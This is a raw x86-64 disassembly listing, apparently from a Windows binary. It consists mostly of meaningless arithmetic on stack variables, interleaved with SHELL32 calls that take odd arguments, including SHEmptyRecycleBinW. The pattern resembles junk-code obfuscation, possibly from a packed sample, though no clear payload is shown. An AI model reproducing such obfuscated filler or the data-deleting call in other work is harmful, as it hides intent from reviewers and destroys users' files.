shl eax, cl
mov word [rsp + 0x2a10], ax
movsx eax, word [rsp + 0x2aec]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c10], ax
mov rax, qword [0x14019f0d0]
mov rcx, qword [rsp + 0xd450]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd208], rax
mov eax, dword [rsp + 0x6afc]
mov dword [rsp + 0x6db0], eax
mov rax, qword [rsp + 0xd248]
mov rcx, qword [rsp + 0xd468]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd0f0], rax
mov rax, qword [rsp + 0xd0a8]
movzx eax, byte [rax]
mov byte [rsp + 0x509], al
movzx eax, word [rsp + 0x1240]
movzx ecx, word [rsp + 0x2adc]
sub eax, ecx
mov word [rsp + 0x2b14], ax
mov rax, qword [rsp + 0xd2e0]
mov rax, qword [rax]
mov qword [0x14019f0e8], rax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
movzx ecx, byte [0x14019ef90]
sub eax, ecx
mov byte [rsp + 0x4a1], al
mov eax, dword [rsp + 0x6af0]
movzx ecx, al
mov eax, dword [rsp + 0x59f0]
sar eax, cl
mov dword [rsp + 0x695c], eax
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1810], ax
movzx eax, word [rsp + 0x2b58]
mov word [rsp + 0x2b60], ax
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd110]
mov qword [rsp + 0xd6f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6f0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xaaf8], rax
mov rax, qword [rsp + 0xd118]
mov ecx, dword [0x14019f0c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6d0c], eax
movsx eax, byte [rsp + 0x4ea]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd5b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ae8], ax
mov rax, qword [0x14019efd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d084], ax
mov rax, qword [rsp + 0xd3a8]
mov qword [rsp + 0xd6f8], rax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ff8], rax
mov rax, qword [0x14019f050]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcf80], rax
movzx eax, word [rsp + 0x2ab4]
mov word [rsp + 0x2b64], ax
mov rax, qword [rsp + 0xd118]
mov rcx, qword [rsp + 0xd058]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6afc], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd328]
shr rax, cl
mov qword [rsp + 0xc4b8], rax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x461], al
movzx eax, byte [rsp + 0x4fe]
mov byte [rsp + 0x50a], al
mov eax, dword [rsp + 0x6d78]
movzx ecx, al
mov eax, dword [rsp + 0x6450]
shl eax, cl
mov dword [rsp + 0x6af0], eax
mov rax, qword [rsp + 0xd420]
movzx eax, word [rax]
mov word [0x14019f0f0], ax
movzx eax, word [rsp + 0x2a54]
movzx ecx, word [0x14019f090]
sub eax, ecx
mov rcx, qword [rsp + 0xcf28]
mov word [rcx], ax
lea rax, [rsp + 0x2a3c]
mov qword [rsp + 0xd700], rax
mov rax, qword [rsp + 0xc338]
mov rcx, qword [rsp + 0xab00]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd388]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9c50]
shl rax, cl
mov qword [rsp + 0x9f98], rax
lea r9, [rsp + 0x6d88]
lea r8, [rsp + 0x6d04]
lea rdx, [rsp + 0x1e078]
lea rcx, [rsp + 0x1e068]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x6bc0], eax
mov eax, dword [rsp + 0x6b8c]
mov rcx, qword [rsp + 0xd2f8]
mov qword [rsp + 0xd708], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd708]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6da0], eax
movsx eax, byte [rsp + 0x4f7]
mov rcx, qword [rsp + 0xd218]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4ed], al
mov dword [rsp + 0x28], 0xdd
lea rax, [rsp + 0x6dac]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xd540]
mov r8d, 0x7d
mov edx, reloc.SHELL32.dll_ILSaveToStream
mov rcx, qword [rsp + 0xcde8]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x6bc4], eax
movzx eax, word [0x14019d030]
mov word [rsp + 0x2b68], ax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd620]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd5a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019d088], rax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov word [rsp + 0x2b6c], ax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xab00]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd548]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd6d0]
mov rcx, qword [rsp + 0xd548]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc338], rax
xor edx, edx
mov eax, dword [rsp + 0x6db0]
div dword [rsp + 0x6d5c]
mov dword [rsp + 0x6b20], eax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1c8]
mov qword [rsp + 0xd710], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd710]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov dword [rsp + 0x6db4], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45a]
sar eax, cl
mov byte [rsp + 0x4e8], al
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x252], al
mov rax, qword [0x14019f028]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d098], ax
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b3c]
add eax, ecx
mov word [rsp + 0x1b04], ax
movzx eax, word [rsp + 0x2b34]
mov rcx, qword [0x14019efd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b14], ax
movzx eax, word [rsp + 0x25c0]
mov word [rsp + 0x2b70], ax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd438]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4ec], al
mov eax, dword [0x14019efb0]
mov dword [rsp + 0x6db8], eax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd518]
shl rax, cl
mov qword [rsp + 0xb650], rax
mov rax, qword [rsp + 0xd398]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1548], ax
mov dword [rsp + 0x20], SHDoDragDrop
mov r9d, 0x7e
lea r8, [rsp + 0x216d0]
mov edx, 0x87
mov rcx, qword [rsp + 0xd718]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x6cd8], eax
movzx eax, word [rsp + 0x2a94]
mov rcx, qword [rsp + 0xd700]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xba0], ax
mov rax, qword [rsp + 0xd408]
mov rcx, qword [rsp + 0xd170]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019d050], rax
mov dword [rsp + 0x20], 0xb5
mov r9d, 0x4c
lea r8, [rsp + 0x21990]
mov edx, reloc.SHELL32.dll_ILRemoveLastID
mov rcx, qword [rsp + 0xd718]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x6d24], eax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd6d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd380], rax
lea rax, [rsp + 0xd6a0]
mov qword [rsp + 0xd720], rax
mov rax, qword [rsp + 0xd000]
mov rcx, qword [rsp + 0xd680]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd208], rax
movzx eax, word [rsp + 0x2b24]
mov rcx, qword [0x14019f018]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd160]
mov word [rcx], ax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov byte [rsp + 0x50b], al
mov eax, dword [rsp + 0x5ac4]
mov rcx, qword [rsp + 0xd150]
mov qword [rsp + 0xd728], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd728]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6db4], eax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2db], al
mov rax, qword [rsp + 0xd338]
mov rcx, qword [rsp + 0xd198]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5cf0], eax
lea rax, [rsp + 0xa478]
mov qword [0x14019f0f8], rax
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ab8]
add eax, ecx
mov word [rsp + 0x2b30], ax
movzx eax, word [rsp + 0x1548]
mov word [rsp + 0x2b74], ax
movzx eax, word [rsp + 0x29a8]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd160]
mov word [rcx], ax
mov rax, qword [rsp + 0xa0e8]
mov rcx, qword [rsp + 0xd4b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7a0], rax
mov rax, qword [rsp + 0xd218]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x27f]
shl eax, cl
mov rcx, qword [rsp + 0xd488]
mov byte [rcx], al
mov rax, qword [rsp + 0xa448]
mov qword [rsp + 0xd730], rax
mov eax, dword [rsp + 0x5cf0]
mov ecx, dword [0x14019efb0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d14], eax
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x20c4], ax
mov rax, qword [0x14019f018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd630]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f07c], ax
mov rax, qword [rsp + 0xc920]
mov qword [rsp + 0xd738], rax
lea rdx, [rsp + 0x1ffe0]
lea rcx, [rsp + 0xd168]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x6d18], eax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2aa8]
add eax, ecx
mov word [rsp + 0x2b2c], ax
lea rax, [rsp + 0x283]
mov qword [rsp + 0xd740], rax
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6db4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd0f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6d20]
mov ecx, dword [rsp + 0x6afc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a10], eax
movsx eax, byte [0x14019d011]
movsx ecx, byte [rsp + 0x362]
sub eax, ecx
mov byte [rsp + 0x3aa], al
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd248]
mov qword [rsp + 0xd748], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd748]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xd5d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd470]
movzx eax, word [rax]
mov word [rsp + 0x2b78], ax
lea rax, [rsp + 0x10d8]
mov qword [0x14019f100], rax
mov rax, qword [rsp + 0xd660]
mov rcx, qword [rsp + 0xd650]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xad38], rax
mov rax, qword [rsp + 0xad00]
movzx ecx, al
mov rax, qword [rsp + 0xaf10]
sar rax, cl
mov qword [rsp + 0xd450], rax
lea rax, [rsp + 0x2a7c]
mov qword [rsp + 0xd750], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a10]
sub eax, ecx
mov word [rsp + 0x2b48], ax
movsx eax, byte [rsp + 0x4e0]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0xd3b8]
mov rcx, qword [rsp + 0xd608]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa478], rax
mov eax, dword [rsp + 0x654c]
movzx ecx, al
mov eax, dword [rsp + 0x6cf8]
shl eax, cl
mov dword [rsp + 0x5b50], eax
mov rax, qword [rsp + 0xd5e8]
mov qword [rsp + 0xd758], rax
movsx eax, word [rsp + 0x13d8]
mov rcx, qword [rsp + 0xd470]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14019d07c], ax
movzx eax, word [rsp + 0x2a80]
movzx ecx, word [rsp + 0x14a0]
or eax, ecx
mov word [rsp + 0x2a48], ax
mov eax, dword [rsp + 0x6254]
mov dword [rsp + 0x6dbc], eax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4e9], al
mov rax, qword [rsp + 0xd408]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc248], rax
mov rax, qword [rsp + 0xd6e0]
mov rcx, qword [rsp + 0xa2c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd610], rax
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd0d0]
mov dword [rcx], eax
movzx eax, byte [0x14019d011]
mov byte [rsp + 0x50c], al
movsx eax, word [rsp + 0x2a64]
mov rcx, qword [rsp + 0xd588]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a88], ax
movzx eax, word [rsp + 0x1fbc]
mov word [0x14019f108], ax
mov rax, qword [0x14019d050]
mov rcx, qword [rsp + 0xd2a0]
mov qword [rsp + 0xd760], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd760]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9428], rax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b58]
shl eax, cl
mov word [rsp + 0x14a0], ax
movsx eax, word [rsp + 0x2a74]
movsx ecx, word [rsp + 0x2a7c]
sub eax, ecx
mov word [rsp + 0x11b4], ax
mov rax, qword [rsp + 0xcf48]
mov qword [rsp + 0xd768], rax
mov rax, qword [rsp + 0xd2f8]
mov rcx, qword [rsp + 0xd058]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d68], eax
mov rax, qword [rsp + 0xd438]
movzx eax, byte [rax]
mov byte [rsp + 0x50d], al
mov rax, qword [rsp + 0xd110]
mov rcx, qword [0x14019f0f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb48], rax
movzx eax, word [rsp + 0x2b58]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a4c], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd670]
add rcx, rax
mov rax, rcx
mov qword [0x14019d0a0], rax
mov eax, dword [rsp + 0x6d98]
movzx ecx, al
mov eax, dword [rsp + 0x6d90]
shl eax, cl
mov dword [rsp + 0x5f5c], eax
movzx eax, byte [rsp + 0x4c0]
movzx ecx, byte [rsp + 0x508]
sar eax, cl
mov byte [rsp + 0x34f], al
mov rax, qword [rsp + 0xd2d8]
movzx eax, word [rax]
mov word [rsp + 0x2b7c], ax
movzx eax, word [rsp + 0x29a8]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x20b0], ax
movsx eax, byte [rsp + 0x50c]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x45e], al
mov eax, dword [rsp + 0x6db8]
mov ecx, dword [rsp + 0x6d64]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5e94], eax
mov rax, qword [rsp + 0xd3b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd120]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd4c0], rax
lea rax, [rsp + 0x2b00]
mov qword [rsp + 0xd770], rax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ab0]
sub eax, ecx
mov word [0x14019f0b0], ax
mov rax, qword [rsp + 0xd4b8]
mov rcx, qword [rsp + 0xd2e0]
mov qword [rsp + 0xd778], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd778]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcdc8], rax
lea rax, [0x14019d008]
mov qword [rsp + 0xd780], rax
mov rax, qword [rsp + 0xd2a0]
mov rcx, qword [rsp + 0xd660]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd088], rax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a88]
sar eax, cl
mov word [rsp + 0x2b28], ax
mov rax, qword [rsp + 0xbb48]
mov qword [rsp + 0xd788], rax
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6098], eax
movsx eax, byte [rsp + 0x362]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x18d], al
mov rax, qword [rsp + 0xd150]
mov ecx, dword [rsp + 0x6d78]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d44], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e7]
add eax, ecx
mov byte [rsp + 0x4f0], al
xor r8d, r8d
lea rdx, [rsp + 0x1e5b0]
lea rcx, [rsp + 0x1e3b0]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x6bb8], eax
mov rax, qword [rsp + 0xd750]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d064], ax
movzx eax, word [rsp + 0x2a98]
mov word [rsp + 0x2b80], ax
mov rax, qword [rsp + 0xd5f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20b0]
and eax, ecx
mov word [rsp + 0x2a9c], ax
mov rax, qword [0x14019f050]
mov rax, qword [rax]
mov qword [rsp + 0xd790], rax
movsx eax, byte [rsp + 0x509]
movsx ecx, byte [rsp + 0x4f4]
xor eax, ecx
mov byte [rsp + 0x461], al
mov rax, qword [rsp + 0xd730]
mov rcx, qword [rsp + 0xcef0]
mov qword [rsp + 0xd798], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd798]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbb48], rax
mov eax, dword [rsp + 0x6d84]
mov ecx, dword [rsp + 0x6cf8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ea4], eax
movsx eax, word [rsp + 0x2ac0]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a88], ax
lea rax, [rsp + 0x1d98]
mov qword [rsp + 0xd7a0], rax
mov rax, qword [0x14019d050]
mov qword [0x14019f110], rax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a10], ax
lea rax, [rsp + 0xc4f8]
mov qword [rsp + 0xd7a8], rax
mov rax, qword [rsp + 0xd780]
mov rcx, qword [0x14019f0e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcf80], rax
mov eax, dword [rsp + 0x5b3c]
mov rcx, qword [rsp + 0xd0d0]
mov qword [rsp + 0xd7b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd7b0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6d10], eax
mov rax, qword [rsp + 0xd218]
movzx eax, byte [rax]
mov byte [rsp + 0x50e], al
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
movzx ecx, byte [0x14019d010]
or eax, ecx
mov byte [rsp + 0x508], al
mov eax, dword [rsp + 0x6db4]
movzx ecx, al
mov eax, dword [rsp + 0x6d34]
shl eax, cl
mov dword [rsp + 0x6104], eax
mov rax, qword [rsp + 0xd248]
mov rcx, qword [rsp + 0xc4d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa4f8], rax
movsx eax, word [rsp + 0x2ab4]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019f080], ax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b50]
xor eax, ecx
mov word [rsp + 0x2ab8], ax
mov rax, qword [0x14019f060]
movzx eax, word [rax]
mov word [rsp + 0x2b84], ax
movzx eax, word [rsp + 0x2af4]
movzx ecx, word [rsp + 0x2b1c]
and eax, ecx
mov word [rsp + 0x2adc], ax
mov eax, dword [rsp + 0x6d14]
mov dword [rsp + 0x6dc0], eax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4ea], al
mov rax, qword [rsp + 0xd608]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd428]
shl rax, cl
mov qword [rsp + 0xc8e8], rax
lea rax, [rsp + 0x1910]
mov qword [rsp + 0xd7b8], rax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
movzx ecx, word [0x14019f038]
sar eax, cl
mov word [rsp + 0x2b24], ax
mov rax, qword [rsp + 0xcdc8]
mov qword [0x14019f118], rax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x91a8], rax
mov rax, qword [rsp + 0xd2a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0xd2a0]
mov rcx, qword [rsp + 0xd650]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xacf8], rax
movzx eax, word [rsp + 0x2ae4]
mov word [rsp + 0x2b88], ax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50b]
shl eax, cl
mov rcx, qword [rsp + 0xd1a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd098]
mov rcx, qword [rsp + 0xd050]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5ec4], eax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd0d0]
mov qword [rsp + 0xd7c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd7c0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xd628]
movzx eax, byte [rax]
mov byte [rsp + 0x50f], al
lea rax, [rsp + 0xac98]
mov qword [0x14019f120], rax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a50]
add eax, ecx
mov rcx, qword [rsp + 0xd588]
mov word [rcx], ax
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1244]
sub eax, ecx
mov word [rsp + 0x2a2c], ax
movzx eax, word [rsp + 0x1240]
mov word [rsp + 0x2b8c], ax
mov rax, qword [0x14019f110]
mov rcx, qword [rsp + 0xcdc8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd2a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd3b8]
mov rcx, qword [rsp + 0xa5a0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbb70], rax
lea rcx, [rsp + 0xcf78]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0xd7c8], rax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ed]
or eax, ecx
mov byte [rsp + 0x6a], al
lea rcx, [rsp + 0x6d7c]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0xd520], rax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd198]
mov qword [rsp + 0xd7d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd7d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6454], eax
lea rax, [rsp + 0x2a90]
mov qword [rsp + 0xd7d8], rax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ad0]
sar eax, cl
mov word [0x14019d0a8], ax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov rcx, qword [0x14019d018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov word [rsp + 0x2b90], ax
mov rax, qword [rsp + 0xd098]
mov rcx, qword [rsp + 0xd150]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6254], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
add eax, ecx
mov byte [rsp + 0x501], al
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6da0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b54], eax
mov rax, qword [rsp + 0xd5d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd428]
shl rax, cl
mov qword [rsp + 0xad08], rax
mov rax, qword [rsp + 0xd488]
movzx eax, byte [rax]
mov byte [rsp + 0x510], al
movsx eax, word [rsp + 0x2b3c]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x11b4], ax
mov rax, qword [0x14019f018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd700]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019d038], ax
mov rax, qword [rsp + 0xacf8]
mov qword [rsp + 0xd7e0], rax
mov r8d, 0x87
mov rdx, qword [rsp + 0xd2b8]
mov rcx, qword [rsp + 0xd7e8]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [rsp + 0x6bc4], eax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd220], rax
mov rax, qword [rsp + 0xd420]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b5c], ax
lea rax, [rsp + 0xcc8]
mov qword [rsp + 0xd7f0], rax
mov rax, qword [rsp + 0x9f98]
mov rcx, qword [rsp + 0xa2c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd390], rax
lea rcx, [rsp + 0xd3c0]
call qword [sym.imp.SHELL32.dll_ILFree]
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x32a], al
